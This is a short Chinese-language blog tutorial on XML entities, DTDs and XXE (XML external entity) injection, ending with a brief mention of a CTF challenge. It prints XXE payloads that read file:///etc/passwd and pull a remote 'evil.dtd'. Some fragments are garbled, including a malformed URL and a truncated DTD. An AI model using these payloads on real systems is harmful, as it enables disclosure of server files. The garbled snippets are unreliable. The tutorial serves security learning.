XXE

2019-04-09  本文已影响0人  喵了个咪0

一:XML

1.所有xml文档都由5种简单的构造模块(元素,属性,实体,PCDATA CDATA)构成。

2.实体:是由定义引用普通文本或特殊字符的快捷方式的变量,实体应用是对实体的引用。实体可以在内部或者外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的

3.xml实体分为四种:字符实体,命名实体,外部实体,参数实体

4.文档类型定义:DTD   

DTD的作用是定义xml文档的合法构建模块。因此可以利用DTD来内部或外部的实体应用

5.内部引用:

<!ENTITY 实体名称 "实体的值">

将DTD和XML放在同一份文档中,利用DTD定义的实体即为内部实体。

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE xxe [

<!ENTITY chybeta "Hello World!">

]>

<xxe>

&chybeta;

</xxe>

访问该XML文档,&chybeta;会被解析为Hello World!并输出。

6.外部引入

基本格式:

<!ENTITY 实体名称 SYSTEM "URI">

<!ENTITY xxe(实体引用名) system "file:///etc/passwd"(实体内容)>]>

通过引用定义在外部的DTD中的实体,我们称之为外部实体,有system和public两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议:  file | http | php

xxe漏洞主要利用的是外部实体,

二: XXE存在的风险与利用

XXE 也就是xml外部实体注入

xml注入的方法,

方法一:

直接通过DTD外部实体声明

XML内容:

<?xml version="1.0"?>

<!DOCTYPE a [

        <!ENTITY b SYSTEM "file:///etc/passwd">

]>

<c>&b;</c>

方法二:

XML内容:

<?xml version="1.0"?>

<!DOCTYPE a SYSTEM "http:///123.com/evil.dtd">

<c>$b;</c>

DTD文件内容:

file:///etc/passwd">

三:通过ctf题进一步了解一下xxe(在jsonp种中玩xxe)

网址:https://www.jarvisoj.com/challenges

题目:api调用

题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值

修改content-type和传递的参数,下面是地区本地的敏感信息

读取flag
上一篇下一篇

猜你喜欢

热点阅读